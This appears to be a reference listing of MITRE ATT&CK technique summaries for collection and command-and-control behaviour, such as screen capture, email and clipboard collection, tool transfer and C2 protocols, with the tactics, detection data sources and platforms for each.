Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre